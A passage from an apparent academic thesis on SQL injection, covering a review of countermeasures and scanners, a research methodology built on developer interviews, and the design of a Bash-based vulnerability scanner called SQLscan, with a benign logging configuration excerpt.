detailed the latest techniques for identifying the underlying database and schema enumeration. 
 
Automated Tools. 
As the focus on security increased, many automated tools, such as firewalls, proxies, and 
network intrusion detection systems, started to appear on the market.  As explained by Acunetix 
(2005), the combination of firewalls, security-, and virus-scanners had made it difficult for 
anyone to breach organizations’ security defenses until web applications began to be used.  
These were visible to worldwide audience and were always available, providing easy access and 
allowing almost unlimited attempts to attack both the application and the underlying system.  
Because of this, organizations were eager to put something in place to protect against the newly 
discovered threat of SQL injection.  Many attempts were made to alter existing products or 
create new utilities to detect vulnerabilities and to protect against attacks of this kind.  Of these, 
two categories of utilities gained widespread acceptance: Web application firewalls, (aka Web 
Intrusion Detection Systems), and vulnerability scanners.   
According to Ristic (2005), Web server-integrated intrusion prevention systems, such as 
Microsoft ISAPI filters and the Apache mod_security module, were quickly recognized as being 
most effective at dynamically detecting SQL Injection attacks.  In this techniques, encrypted 
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communications with the Web server over HTTPS are decrypted by the Web server before being 
inspected.  Additionally, these systems are capable of analyzing the Web server's response for 
indications of unwanted information disclosure and have the ability to block the HTTP request or 
response in reaction to detected unsafe usage.  Maor and Shulman (2004) argued that such 
approaches were signature-based and therefore ineffectual, as countless alternates could be used 
to achieve the desired results without matching any known signatures.   But objections such as 
these appear to have had little impact on the popularity of such systems.   According to a recent 
survey of “638 IT [administrators] and IT security practitioners with approximately 13 years IT 
experience in large US-based organizations” 32% of organizations used Web application 
firewalls while 41% intended to deploy such a security measure. (Ponemon, 2010, p.1). 
In an effort to avoid the threat of SQL injection within PHP programs, PHP version 4, 
released in 2000, featured new functionality, labeled ‘Magic Quotes’, which automatically 
escaped single quotes, double quotes, backslashes, and null characters within all HTTP ‘Get’, 
‘Post’, or ‘Cookie’ data passed into the script.  The immediate impact of this move was that first-
order SQL injection attacks were no longer possible via string-based input fields.  Unfortunately, 
this development encouraged PHP developers to ignore the threat of input validation attacks, 
fueling the myth that SQL injection was impossible if both Magic Quotes and error suppression 
were employed.  It also, arguably, stimulated the creation of more advanced and complex 
attacks, encouraging the development of quote-less SQL injection attacks, which used hex- and a 
URL-encoding to circumvent this feature. 
Many vulnerability scanners appeared.   SQueaL (aka Absinthe), for example,   
automated the querying of data via SQL injection (Litchfield, 2005).   A general trend towards 
enterprise-level products, capable of detecting all types of security threat, began to emerge.  
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Although recognized as effective in the detection of vulnerabilities, such tools were used by a 
relatively low percentage of web developers for a number of reasons.  The cost of commercial 
enterprise-level systems, such as Acunetix, which requires a license costing $1445 to scan a 
single website, was prohibitive to many.  Equivalent open-source CGI tools, such as Nikto and 
Nessus, proved difficult to install, and configure on many UNIX and Linux environments.     
Other utilities, such as QED by Martin & Lam (2008), were specific to individual environments, 
limiting their applicability.  The main reason for the low uptake of security scanners, according 
to the EC Council (2006) was because the majority of developers were either unaware of, or 
underestimated, the threat posed by Web application vulnerabilities.  Upon learning of the risks, 
developers applied documented countermeasures, which restored their confidence in their 
systems' security while avoiding the need to leave their comfort zone by installing, configuring 
and using a vulnerability scanner.   
In 2008, an attempt was made to make common Linux, command-line or security 
professional-focused tools; namely the Nmap port scanner, Nikto Web vulnerability scanner, 
traceroute, whois, ping, and dig; more accessible to developers within small to medium 
enterprises (SMEs).  This was achieved by creating a single, intuitive, web-based user interface 
to overlay all of these utilities.  The justification for this move was that developers within SMEs 
seemed to “lack the skills to perform a security assessment of their newly built or acquired 
applications” (Davies & Tryfonas 2008. p.2).  Similarly, Kiezun et. al. (2009) produced a web-
based white box testing tool, called Ardilla, to test online applications for SQL injection and 
cross site scripting vulnerabilities.   These two examples of placing vulnerability scanners on 
Web servers may be indicative of an emerging trend.  Interestingly, both examples do this to 
replace locally installed vulnerability scanning software with online equivalents.  However, 
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online tools run the risk of being blacklisted by intrusion prevention systems, such as Web 
application firewalls, because of the malicious-seeming requests generated by a legitimate 
vulnerability scan.  Intrusion prevention systems can be configured to allow all traffic from 
certain IP addresses; however by allowing the online service to scan your website, you are also 
allowing other users of that service to do the same.  The requirement to alter existing security 
configuration settings may impact on the popularity of online products such as these, as users 
may not have the access rights, or because of security concerns, the inclination, to allow traffic 
from the scanning site to reach their website.  Even though a precedent of sorts has been set with 
the installation of antivirus scanners on host servers, very few of the encountered SQL Injection 
scanners were designed for installation on the Web server, hosting the sites to be scanned, in 
spite of the advantages this scenario could bring. 
 
Accepted Best Practice. 
In the first publication to highlight the SQL injection threat, Rain Forest Puppy (1998) 
recommended the following countermeasures: 
• Using quotes to delimit all strings and to escape any single quotes within them. 
• Validating all numeric input. 
• Disallowing access to the SQL server’s extended stored procedures. 
• Avoiding in-line SQL statements by using custom stored procedures and passing 
the user’s input into them as parameters.   
Since then, a number of researchers and practitioner examined countermeasures.    
Litchfield (2001) highlighted the schema enumeration, authentication bypass, and data 
manipulation capabilities of SQL injection in his paper ‘Web Application Disassembly with 
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ODBC Error Messages.’  Like Rain Forest Puppy, Litchfield concentrated solely on Microsoft 
Web technologies, however his recommended countermeasures were less stringent, matching the 
first two of Rain Forest Puppy's recommendations only.  Anley (January 2002), advised that 
black- and white-lists should also be considered to improve system security.  In his appendix, 
written five months later, Anley (2002, June) showed that the combination of error suppression 
and single quote escaping was not a panacea and recommended countermeasures which were  
similar to Rain Forest Puppy’s, albeit slightly more comprehensive: 
• Comprehensive input validation, including the use of black- and white-lists. 
• The use of a parameterized API instead of in-line SQL statements. 
• Strong SQL Server lockdown. 
Ceruddo (2002, August) expanded on the possible types of attacks which can be carried 
out via SQL injection and made the following recommendations to counteract the threat: 
• Only allow alphanumeric characters as user input. 
• Use parameterized queries. 
• Disable dangerous SQL Server functionality. 
• Use a firewall to block all necessary outbound traffic from the SQL Server. 
Ceruddo recommended the setting of coding standards to help achieve his first two 
recommendations and advised the conducting of code reviews for any code which had been 
previously written.  He also recommended the use of those “automated tools available for 
detecting these types of problems.” (Ceruddo, 2002. p.12). 
In the first recommendation to consider non-Microsoft solutions, the OWASP guide to 
building secure Web applications recommended that developers “construct all queries with 
prepared statements and/or parameterized stored procedures … [as each method] encapsulates 
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variables and should escape special characters within them automatically and in a manner suited 
to the target database.” (Curphey et. al. 2002, September).  The authors also recommended the 
filtering of SQL special characters in systems where blacklists are necessary because prepared 
statements or parameterized stored procedures are not possible, however an inadequate list of 
characters was provided, consisting of plus symbols, commas, single quotes, and equals signs 
only. 
Litwin (2004), like Ceruddo, recommended accepting alphanumeric data as input only; 
with the exception of the apostrophe, which he recommended escaping if it was also accepted; 
and advocated the use of parameterized SQL queries.  In addition, he recommended the storage 
of passwords as salted hash values, and the suppression of database error messages.  These 
additional recommendations increased the security of non-Microsoft-based solutions, for which 
documented best practice was far from comprehensive.  The situation was shown to be worse 
than it had seemed, in 2005, when Litchfield (2005. pp.8-10) outlined the means by which 
attackers could avoid half of the special characters, recommended for filtering by Curphey et. al 
(2002). 
Like Litwin, Spett (2005) reiterated Ceruddo’s advice to only accept alphanumeric user 
input, advising that exceptions should be made with extreme caution.  He advised that all user 
input should be enclosed in single quotes and included numeric input in this approach rather than 
recommending its separate validation.  These recommendations were strikingly close to those of 
Rain Forest Puppy (1998) as they also included instructions to deny access to system stored 
procedures unless they were explicitly required to enable the system's functionality.  Contrary to 
others, Spett did not recommend the use of a parameterized SQL mechanism, presumably 
because such a feature was not yet available in all database implementations.   
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By 2006, many developers, as last advised by Litwin (2004), were relying on the use of 
stored procedures to protect against SQL injection attacks.  This prompted Hewlett-Packard 
(2006, January) to issue an advisory, reiterating the advice of Anley (2002, June) that stored 
procedures could be vulnerable to SQL injection if not used correctly.  Within this advisory, 
examples using contemporary coding techniques, such as managed code, were provided.  
Today, accepted best practice is a combination of all of the above recommendations; however 
Aagarwal (2010) included an additional countermeasure in his recommendations for developers: 
• Comprehensive input sanitization, preferably using regular expressions. 
• Use of parameterized queries rather than dynamic in-line queries. 
• Use of stored procedures wherever possible. 
• Minimized information disclosure via system messages. 
• Use of difficult to guess table and column names. 
Aagarwal (2010) also recommended that the following tasks be carried out by database 
administrators to limit the extent of damage, possible via SQL injection: 
• Applying the principle of least privilege to accounts and connections. 
• Disabling default passwords and accounts. 
• Regularly patching servers. 
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Summary  
As the field of information systems security has expanded, researchers and practitioners 
have shown increasing interest in the threat of SQL injection and countermeasures.   But the 
literature has shown that efforts to eradicate the threat, from within the industry and academia, 
through modifications to hosting environments and the creation of on-demand and real-time 
detection utilities have not been completely successful. 
To help curb the threat of SQL injection, this researcher will develop a new vulnerability 
scanner and a software developer's SQL injection prevention checklist, based on accepted 
mitigation techniques and contemporary development practices.  The next chapter examines the 
methodology used.  
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Chapter 3 – Methodology 
 To answer the four research questions regarding the perceived and actual threat of SQL 
injections on contemporary websites, this researcher developed a five phase methodology.  The 
first phase, as shown in Chapter Two, involved reviewing the existing academic and industry 
literature.   It revealed the variety of attack types and range of techniques used by attackers, 
along with the accepted best practices to counteract such attacks.  In the second phase, this 
researcher developed a Web vulnerability scanner to meet a number of identified criteria which 
were not met, in full, by any single security utility encountered during the first phase.  This also 
involved the identification and definition of SQL Injection attacks, based on those discovered 
during the first phase, to test for the existence of vulnerabilities without causing harm to the 
tested system.  During the third phase, interviews were conducted with senior Web developers 
with the goal of gauging their knowledge of, and attitudes toward, SQL Injection as well as the 
countermeasures they routinely use.  The fourth phase involved the emulation of each 
interviewee-described approach to application security using PHP and an underlying MySQL 
database.   In the fifth phase, this researcher carried out the analysis of all emulations with the aid 
of the newly created vulnerability scanner, using a second, off the shelf, scanning tool to prove 
the reliability of the new system. This phase also involved the resolution of any discovered 
vulnerability in each of the emulations. 
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Vulnerability Scanner Development. 
Development platform considerations. 
The developed vulnerability scanner was a Bourne-again Shell (Bash) based form 
manipulator with brute force capabilities, intended to automate repetitive attacks and to detect 
signs of vulnerability, focusing primarily on SQL injection.  Despite the drawbacks of using a 
scripting language instead of a full-fledged programming language, Bash was chosen for a 
number of reasons:   
 
Portability and ease of installation. 
Because of its ubiquity, portability and ease of installation are immediately inherited by 
any application developed for the Bash environment.  As explained by Albing, Vossen & 
Newham (2007, p.3), bash is the default user shell on almost every Linux distribution, including 
Mac OS X, and is also available for most UNIX operating systems.  Shell scripts are 
immediately executable, once uncompressed, allowing utilities to be quickly and easily 
downloaded and installed, even if no update or package manager; such as YUM, YaST, or RPM; 
is installed on the system.  This can be of great benefit to UNIX and Linux administrators, for 
whom installing new applications can often involve the recursive installation of dependencies.   
Linux servers are the most common Web platforms, with 62% of respondents to the 
WebDirections State of Web Development survey 2010 (WebDirections, 2010) indicating that it 
is their operating system of choice. Because websites are client/server environments, it is natural 
to create client utilities to test for server based vulnerabilities.  However in spite of this, there are 
surprisingly few vulnerability scanners available for this environment compared to the number of 
tools available for Windows systems.  Interestingly, the Webdirections survey, mentioned above, 
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shows that Windows systems account for approximately 40% of Web developer's primary 
development environments whereas Mac OS X and Linux together account for almost 55%.  
This ratio is not reflected by the number of search results, returned by Google when searching 
for SQL Injection scanners for each operating system, where less than 38% of all results pertain 
to Linux or Mac OS X while the remainder relates to Windows-based systems.  Although neither 
source can be relied upon as definitive indications of worldwide ratios, they nonetheless suggest 
at a far greater choice of SQL Injection scanners being available for Windows than for Linux and 
Mac OS X platforms.  This is reflected in the list of top ten vulnerability scanners, maintained by 
Insecure.org (Sectools.org, 2010), where, at the time of writing, all ten tools were available for 
Windows, whereas only four and five tools were available for Linux/Unix and Mac OS X 
platforms respectively.  The decision to develop this new vulnerability scanner as a tool which 
will be native to Linux is driven, in part, from a desire to address this apparent imbalance 
between Unix-based operating systems’ market shares, and the number of security tools 
available to their users.  
 
Desirable attributes and features. 
It was the ambition of this researcher to produce a lightweight scanner, which is 
understood to be a system which is both small in size and has little impact on the scanned 
application’s or host system’s response times, without compromising the comprehensiveness of 
its testing.  The Linux operating system ships with many powerful command-line utilities as 
standard.  Using this pre-existing functionality, rather than re-creating similar features within a 
bloated application, appealed to the author, who recognized it as one of the means by which a 
small, yet powerful vulnerability scanner could be created, thus avoiding the necessity to 
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sacrifice one of these attributes for the other, common to other security applications on the 
market.  In addition, the ideal of a lightweight but comprehensive vulnerability scanner was more 
closely achieved by utilizing as many individual checks as necessary to thoroughly test the 
system while avoiding the use of concurrent tests, which would have increased the load on the 
target Web and database servers.  The impact from such a scan could also be further diluted, 
making the system even more lightweight at the expense of execution time, with the addition of a 
delay between each test. 
The choice of a Bash script within a Unix-like environment also lends itself to the 
integration of the scanner within other scripts, created by system administrators.  This facilitates 
the mandatory or scheduled scanning of known database-driven systems.  As an admirer of the 
open-source ethos, the legibility and portability of Bash scripts also appealed to this researcher, 
as these attributes enhance the overall extendibility of any system. 
 
Attack Definitions. 
Apart from the creation of the scanning engine, a significant effort was required to 
research and develop each of the test attacks to be carried out by the scanner.  The definition of 
such tests, within the scanner, was subject to a number of considerations:  The hierarchy, syntax, 
and naming conventions for system files were carefully considered with respect to the scalability 
and extensibility of the end product.  Each of the test attacks, defined within these files, was 
required to test for the existence of vulnerabilities without causing any damage to the scanned 
system and was created using knowledge acquired during the first phase of the project.  
Strategies for the automated recognition of underlying database engines, obfuscation of plaintext 
attacks, and the recognition of successful attack attempts were also devised.  The means by 
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which the software addressed these requirements, along with any other design decisions, 
affecting the development of the vulnerability scanner, are outlined in chapter 4, where the 
finalized design, features, and functionality of the developed system are detailed.  
 
Questions and Interviews 
This study examines the following four questions:   
Do the developers of high-traffic sites fully understand the threat of SQL Injection? 
What approaches to counteracting SQL Injection are taken? 
How effective are these approaches? 
What common mistakes are being made? 
To answer these questions, interviews with senior programmers, in charge of 
development teams, represented the most appropriate research method to gather the required 
level of detailed, technical information.  Senior developers were identified as ideal interviewees 
because of their experience, understanding of the techniques and countermeasures employed 
within online applications, and knowledge of corporate or managerial attitudes toward security.   
Seven semistructured interviews were conducted, between the 6th and 12th of July 2010.  
The purpose of these interviews was to gather enough information to allow the aforementioned 
research questions to be conclusively answered and to pursue each of the defined project goals.   
Organizations with high traffic, database-driven Web sites, or Web development companies with 
such organizations on their client lists were targeted for these interviews.  No attempt was made 
to limit the selected organizations to any particular development or database platforms and only 
one developer from each identified organization was interviewed.  Having twelve years 
experience as a professional Web developer, this researcher took advantage of previous and 
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existing professional relationships and associations to secure interviewees from geographically 
dispersed Irish organizations.  Limitations in the scale of the project, necessitated by a mandatory 
completion date, meant that no more than six approaches should have been considered; however 
the approach taken by the seventh organization, which had delayed its response to this 
researcher's invitation and as a consequence had been presumed to be uninterested in partaking in 
the study, was sufficiently interesting to warrant its inclusion, in spite of the additional workload 
it entailed.  Later analysis of the operating systems and Web technologies in use by these 
organizations showed that the seven interviewees’ websites were broadly representative of 
websites in general. 
Each of the interviewees had approximately 8 years experience in the development of 
online database-driven systems and, with the exception of one, all had many years’ prior 
experience in the development of off-line systems.  To ensure cooperation from the interviewees, 
interviews were limited to approximately one hour in length and were conducted either at the 
developer’s place of work, at another location at a time of their choosing, over the telephone, or 
via online video communication utilities.  In the interest of allaying fears of information leakage, 
no recordings or transcriptions of the interviews were made.  Instead, anonymous notes were 
made in front of the interviewee, which were associated to that developer by their date of entry 
only.  Because of the small number of interviewees, this approach allowed a matrix of 
vulnerability prevention techniques, used within each approach, to be created, facilitating the 
comparison, categorization, and grouping of all encountered approaches at a later date.   
As one of the goals of these interviews were to ascertain the level of knowledge and 
attitudes towards SQL Injection, demonstrated by those interviewed, non-leading questions were 
used at the outset, focusing on issues related to security practices, such as error prevention.  This 
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allowed security-conscious interviewees to identify themselves by broaching the subject of 
security without being directly prompted.  Further information on the considerations surrounding 
the wording and order of guideline interview questions, along with a complete listing, can be 
found in Appendix B. 
 
Development of Emulated Approaches to Security. 
Each unique approach to security, as described by interviewees, was assessed for 
vulnerabilities.  Rather than requesting permission to perform vulnerability scanning on live 
environments, simulations of each unique approach were created, emulating the techniques 
employed by the interviewed developers.   
 
Development environment. 
The techniques used by developers to mitigate the risk of SQL injection are not unique to 
any single server-side development platform.  Because of this, it was believed possible to create 
all simulations on a single environment, using the same database and programming language for 
each, which was advantageous for the following reasons:  This approach greatly reduced the time 
required for server configuration and simulation development and also simplified the proxy and 
firewall configurations which were required to enable vulnerability scanning.  Developing all 
emulations with a single programming language also facilitated their subsequent comparison, as 
it was easier to discern and describe subtle differences between code snippets which reflected 
differing approaches to a single task or problem.  As the scanning utility is intended to run on 
Linux environment, it was decided to use the popular Linux, Apache, MySQL, and PHP (LAMP) 
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Web server configuration to host the scanner, along with all emulations and their shared 
underlying database.   
 
Vulnerability Scanning and Analysis. 
Each emulated approach to security was tested using the bespoke vulnerability scanner, 
the efficacy of which was confirmed by performing a second scan, using an off-the-shelf scanner 
with similar features, and then comparing their results.  This was followed by manual 
vulnerability analysis, allowing for the identification of any assumptions, omissions, errors, or 
misconceptions on the software developer’s part, which individually or collectively constituted 
an exploitable weakness in the application but may not have been identified by the preceding 
automated scans. 
In keeping with a pretest-posttest experimental design, each approach to safeguarding 
against SQL Injection attacks was tested, analyzed, modified to eradicate any discovered 
vulnerabilities, and then retested.  This cycle was repeated until no vulnerabilities remained in 
the approach under scrutiny.  During this process, all modifications, required to fully secure the 
approach in question, were documented, facilitating subsequent analysis and comparison.  These 
tasks included the calculation of relevant statistics; the overall ranking of each approach, in terms 
of effectiveness; and the compilation of lists of both the most common errors and the generic 
steps to secure all online applications. 
 
Project Restrictions. 
It was recognized that some aspects of the project had the potential to grow beyond an 
acceptable size and because of this, certain restrictions in scale and scope were defined from the 
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outset:  The number of interviewees was originally restricted with a view to limiting the number 
of distinct approaches to application security, and therefore the number of simulations, to no 
more than six.  This restriction was required to scale the project schedule within the university's 
imposed timeframe.   
All simulations were created on a single hosting environment, allowing faithful 
replication of reported logical processes and security measures while limiting the number of 
vulnerability scanner attack definitions to those required for a single database engine.   Creating 
attack definitions for MySQL alone, as opposed to multiple engines, such as MySQL, Oracle, 
MS SQL Server, and Sybase, significantly decreased the required development time in advance 
of testing each approach, without adversely affecting the accuracy of the test results. 
Vulnerability scanner features were limited to handle the most popular scenarios only.  
For example: support was included for online forms using the HTTP post method, and online 
applications using query-string variables.  However, support for the less frequent scenario of 
online forms passing information to their responder via the query-string was deferred until a 
future version of the software. 
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Summary  
To answer the identified research questions and to achieve all ten project goals, five 
major tasks were carried out: a review of literature, the development of a vulnerability scanning 
engine and definition of test attacks, developer interviews, the emulation of each interviewee-
described approach to application security using PHP, and the analysis of each emulation with 
the aid of the newly created vulnerability scanner.  While most of these tasks are clearly defined, 
the development of the envisioned vulnerability scanning engine involved additional design 
decisions.  These are discussed in the next chapter, which introduces the finalized vulnerability 
scanning system. 
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Chapter 4 - Bespoke Vulnerability Scanner 
Chapter 3 described the methodology used in this study, explaining the bespoke 
vulnerability scanner's role in the project.  This chapter focuses on the vulnerability scanner, 
detailing how it works, demonstrating how it can be used, and explaining the reasoning behind 
many of its design decisions.  Because this scanner is an open source system, this chapter is 
intended to give the reader an understanding of the problems the system is intended to address, 
their scope, and the means by which it achieves its goals, as this information is useful when 
modifying the system. 
 
SQLscan and Database Testing 
SQLscan was developed to enable the rapid testing of database-driven, online 
applications for input validation flaws, with a particular emphasis on SQL Injection 
vulnerabilities.  The system has been designed to facilitate the interactive or scheduled testing of 
both online forms and any database-driven applications which react to input via the query-string.  
Common examples of such applications include login forms and news / event viewers.   
 Using native Linux utilities and the popular command-line browser, Lynx, for maximum 
portability, this brute-force scanner iterates through hundreds of tests, each designed to gauge the 
application’s resistance to known input validation attack methods and variants.  The default 
behaviour of SQLscan is to attempt to identify the SQL engine in use by examining the server’s 
response to malformed inputs.  If the underlying database engine can be identified, this 
information will be used to avoid any tests for vulnerabilities which are unique to other database 
servers.  In all cases, the server’s response to each test is examined for both system- and user-
defined indications of success. 
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SQLscan 
|-- COPYING 
|-- README 
|-- conf 
|   |-- MSSQLServerGetAttacks.dat 
|   |-- MSSQLServerPostAttacks.dat 
|   |-- MySQLGetAttacks.dat 
|   |-- MySQLPostAttacks.dat 
|   |-- OracleGetAttacks.dat 
|   |-- OraclePostAttacks.dat 
|   |-- genericGetAttacks.dat 
|   |-- genericPostAttacks.dat 
|   `-- SQLscan.conf 
|-- logs 
|   `-- mysite.com_login.php.log 
|-- SQLscan 
|-- successIndicators 
|   |-- MSSQLServer 
|   |-- MySQL 
|   |-- Oracle 
|   |-- generic 
|   `-- loggedIn 
`-- temp 
    |-- MSSQLServerGetAttacks 
    |-- MSSQLServerPostAttacks 
    |-- MySQLGetAttacks 
    |-- MySQLPostAttacks 
    |-- OracleGetAttacks 
    |-- OraclePostAttacks 
    |-- attack.frm 
    |-- genericGetAttacks 
    |-- genericPostAttacks 
    |-- loginform.html 
    |-- results.html 
    `-- which 
 
4 directories, 29 files 
Figure 4.1- SQLscan’s directory structure 
 
As shown in Figure 4.1, SQLscan uses a system configuration file and eight attack 
definition files, all stored in the ‘conf’ directory.  Attack definition files are organised into query 
string- and form-based attacks, labelled ‘Get’, and ‘Post’ respectively, and are further subdivided 
into generic and vendor-specific attacks, which use differing approaches to discovering 
vulnerabilities in the scanned system.  The role of the generic attack definitions are to check for 
well known input validation and SQL injection vulnerabilities, common to all platforms, with a 
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view to identifying the SQL engine in use from any database information included in system 
error messages.   
In contrast, each vendor-specific attack definition employs techniques and syntax, unique 
to the target database platform.  These attacks may circumvent a front-end system’s input 
validation measures because of their syntactical deviation from commonly known SQL injection 
threats, allowing them to pass, unmodified, through any search and replace operations within the 
application's security layer, intended to identify and contract malicious activity. 
Additional attack definition files can be created by the user.  Such files must reside in the 
conf directory, adhere to the same internal structure as those shipped with SQLscan, and conform 
to the naming convention already in use: e.g. customPostAttacks.dat or myGetAttacks.dat.  
These files can then be incorporated into scans either by a simple modification to the shell script 
(between lines 570 and 600), or by invoking SQLscan with the –f switch, which allows the user 
to specify the attack file to use. 
By default, SQLscan will iterate through each attack definition, relevant to the type of 
scan invoked by the user, who can choose between form (post) or query-string (get) scans.  If the 
underlying SQL server has been identified, it will avoid any attack definitions which are specific 
to other database servers.  This default behaviour can be modified via optional command line 
switches, making it possible, for example, to scan a Web page using a specified attack file only.  
This is useful when the underlying database engine is already known, or if a custom attack 
definition file has been created by the user. 
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System Components 
While multiple combinations of command line options are possible to alter the scanner’s 
behaviour during individual scans, those aspects of SQLscan’s behaviour which are independent 
of scan type, and other general system settings, are controlled via SQLscan’s general 
configuration settings file: SQLscan.conf.  Unlike many other systems, the configuration file is 
incorporated into the main script at run-time.  This occurs before command interpretation begins, 
which offers the following two advantages: First, the configuration file can reference, as well as 
set, SQLscan’s global variables; which maximizes customizability by enabling the use of 
conditional settings.  Second, BASH’s complete command set can be used to achieve any desired 
results.  In Figure 4.2, we can see that this feature is used to bind run-time information to the 
configuration file’s logging section when the URL to be scanned is included in the log file name. 
Source code: 
 
Pseudo-code: 
25 #logfile="sqlInjectionScan.log" 
26 # To place all logs into SQLscan's logs  
   directory, use the INSTALL_DIR variable. E.g: 
27 #logfile="${INSTALL_DIR}logs/scan.log" 
28 # Label scan logs (e.g. log the scan of  
   http://www.mysite.com/login.html in  
   logs/mysite.com_login.html.log) by  
   uncommenting the following 6 lines: 
29 logfile="${INSTALL_DIR}logs/${URL//\//_}.log" 
 
 
 
 
 
 
30 logfile=${logfile/http:__/} 
 
31 logfile=${logfile/https:__/} 
 
32 logfile=${logfile/www./} 
33 logfile=${logfile//_./.} 
 
 
34 logfile=${logfile%\?*} 
 
35 # If you have defined a logfile, above, you  
   can avoid overwriting older scan logs by  
   uncommenting the following 2    lines: 
36 #logfile="${logfile}.$(date)" 
 
37 #logfile=${logfile// /_} 
 
25 # Set logfile to  
   “sqlInjection.log” in the  
   present working directory. 
27 # Set logfile to scan.log in  
   SQLscan’s logs directory. 
 
 
 
29 Set $logfile to the path to  
   SQLscan’s logs directory,  
   followed by the URL of the  
   page to scan (with forward  
   slashes replaced with  
   underscores), and append  
   ‘.log’. 
30 Remove ‘http:__’ from  
   $logfile. 
31 Remove ‘https:__’ from  
   $logfile. 
32 Remove ‘www.’ From $logfile. 
33 Replace all occurrences of  
   ‘_.’ with ‘.’ within  
   $logfile. 
34 Remove any query string (i.e.  
   the question mark and  
   anything that follows it)  
   from $logfile. 
 
36 # Append a dot and the  
   current date to $logfile. 
37 # Replace all spaces in  
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38 logfile="${logfile/.log/}.log" 
 
   $logfile with underscores. 
38 Remove ‘.log’ from the middle  
   of logfile (if it exists) and  
   append ‘.log’ to the  
   resulting string. 
 
Figure 4.2 - Excerpt from SQLscan.conf with corresponding pseudo-code 
 
The configuration file can also be used to set the locations of the executables used by the 
SQLscan shell script: namely ‘lynx’, ‘sed’, and ‘sleep’.  These executables are common among 
most Unix / Linux operating systems, although lynx may not be installed by default on all 
distributions.  SQLscan will look for these executables on the system path unless their locations 
are set within the configuration file. This default behaviour can pose a problem when scheduling 
a scan using the ‘cron’ or ‘at’ utilities, as a non-interactive shell will not necessarily share the 
same path as an interactive user.  For this reason, and because users may wish to use alternates to 
each of these utilities, it is possible to explicitly specify the location of each of these executables 
within the configuration file. 
Other configuration settings include the amount of time to wait between individual tests, 
and whether to append SQLscan’s default set of successful login recognition strings to any such 
lists created by the user.  If any successful login recognition strings are found within the server’s 
response to a test SQL injection attack, that attack is assumed to have been successful in 
bypassing the login form, and the vulnerability is reported.  
All lists of recognition strings are stored in the successIndicators directory.  Within this 
directory, a file called loggedIn contains each successful login recognition string, stored on 
separate lines.  Similarly, descriptively named files include the strings used to identify Oracle, 
MySQL, and MS SQL Server database errors, which are used to identify the SQL engine in use 
by the scanned system.  A file called ‘generic’ contains strings, such as ‘Internal Server Error’, 
SQL INJECTION SURVEY - WEBSITE DEVELOPMENT PRACTICES 42 
which identify a vulnerability to SQL injection without disclosing the underlying database 
engine. 
Success indication lists are stored within standard text files, allowing the user to easily 
create custom lists if desired.  Such lists can then be linked to individual attack definitions, 
within existing or custom attack definition files, by stating the file name as the attack’s success 
indicator.  Lists of success indication strings are only necessary if one of multiple possibilities 
can indicate the success of a particular attack.  If a single search string is the only possible 
indication of success for an individual attack, that search string can be input directly into the 
attack definition file. 
The remaining files and directories within SQLscan’s directory tree need little 
explanation.  The temp directory is used by SQLscan to store temporary work files, created while 
scanning online applications, and the logs directory will contain all log files, provided the 
relevant logging options have been enabled within the configuration file.  COPYING is the 
standard file name used to contain the copyright and licensing information for systems 
distributed under the GNU general purpose license (GPL), which allows users to modify and 
share open-source systems.  Finally, README contains a brief introduction to the system for 
those who may download it without having read any other documentation. 
Figure 4.3 shows the relationship and information flow between each of SQLScan’s 
components. 
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Figure 4.3 - SQLscan: Architectural Context Diagram 
 
Software requirements and design decisions  
SQLscan is intended to be an extensible, lightweight, comprehensive, white-box testing 
utility, primarily for use on UNIX/Linux platforms.  The successful delivery of these seemingly 
contradictory attributes was achieved through a number of design decisions.    
 Unlike most vulnerability scanners, SQLscan intentionally does not crawl through the 
website, seeking potentially vulnerable areas for testing.  Instead, a single attack vector is 
selected by the user for automated vulnerability testing.  This approach facilitates many of the 
design goals of the application, allowing the user to thoroughly and quickly check a single 
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component of an online system, such as a database search facility, for security flaws without 
placing significant strain on the Web server. 
 Vulnerability tests are often divided into two categories:  black-box and white-box 
testing.   Black box testing is used when the tester has no knowledge of the inner workings of the 
system being tested, apart from the behaviors exposed by its user interface.  The common 
analogy for this type of activity is that of testing a black box.   The opposite approach to testing 
software, where the source code is known to the tester, predictably became known as white-box 
testing once the term “black-box” testing became popular. The need for some knowledge of the 
system being tested, to identify potentially vulnerable areas, means that SQLscan is better suited 
to white-box testing, conducted by developers prior to system launch, rather than black-box tests, 
which could also be carried out by malicious users with no prior knowledge of the system.   
Large websites, such as tourist boards, universities, and large corporations are often 
reluctant to use vulnerability scanners which automatically crawl through the website, regardless 
of how lightweight those scanners claim to be.  This reluctance is understandable, as even if such 
a scanner were only to perform 20 tests on each potentially vulnerable area, the performance 
impact on the web server could be many times greater than that of a full crawl, conducted by a 
search engine.  This is because each of the tests for SQL injection flaws would need to be 
conducted at each possibly vulnerable point, involving a page request each time, whereas a 
search engine would only request these pages once.  This additional load could possibly result in 
the degradation of the web server’s quality of service.  In addition, the time taken to conduct 
such tests on large websites could be considered to be prohibitive by many webmasters, as over 
50% of those interviewed in this study indicated that this would be the case.  Many lightweight 
scanners only scan for vulnerabilities to the most popular attack types.  Furthermore, the 
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effectiveness of this approach is often diluted by the need to test for vulnerabilities using syntax 
which is unique to individual database management systems, much of which could be completely 
incompatible with the database engine in use.   Given the large number of possible SQL injection 
attack variants, legitimate concerns could be raised over the effectiveness of any vulnerability 
scan using a small number of test attacks.  SQLscan avoids these problems by testing a single 
attack vector, such as an online form, enabling a comprehensive vulnerability test, incorporating 
hundreds of attack variants, in a small amount of time and without placing undue strain on the 
underlying Web server.   
Apart from differing from other vulnerability scanners in its approach, certain decisions 
concerning SQLscan’s implementation also differ significantly from the norm.  From its 
conception, SQLscan aspired to the following goals:  As a Web server administrator with many 
years experience with multiple flavors of UNIX and Linux, the author knew firsthand off the 
scarcity of *nix-based vulnerability scanners and had often experienced the frustrating, 
seemingly endless chain of dependencies, required to be installed prior to the installation of even 
the most basic of utilities.  It was because of this that it was decided to develop a scanner which 
would install quickly and easily on as many flavors of Linux and UNIX as possible, requiring the 
minimal amount of dependencies.  It was recognized that security scans are often carried out in 
response to a security breach of some kind, as not all organizations take a proactive approach to 
security, and that difficult-to-install software, while never appreciated, is especially unwelcome 
in such a situation. 
SQLscan’s functionality could easily have been written in a powerful programming or 
scripting language, such as C, Perl, PHP, or Python, to take advantage of these languages’ string 
manipulation, error handling, and database connectivity capabilities.   However, it was 
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recognized that despite the additional challenges of working within the limitations imposed by 
the Bourne again Shell (Bash), this approach was superior in terms of achieving the above 
aspirations.  As explained by Albing, Vossen & Newham (2007, p.3), bash is the default user 
shell on almost every Linux distribution, including Mac OS X, as well as being available for 
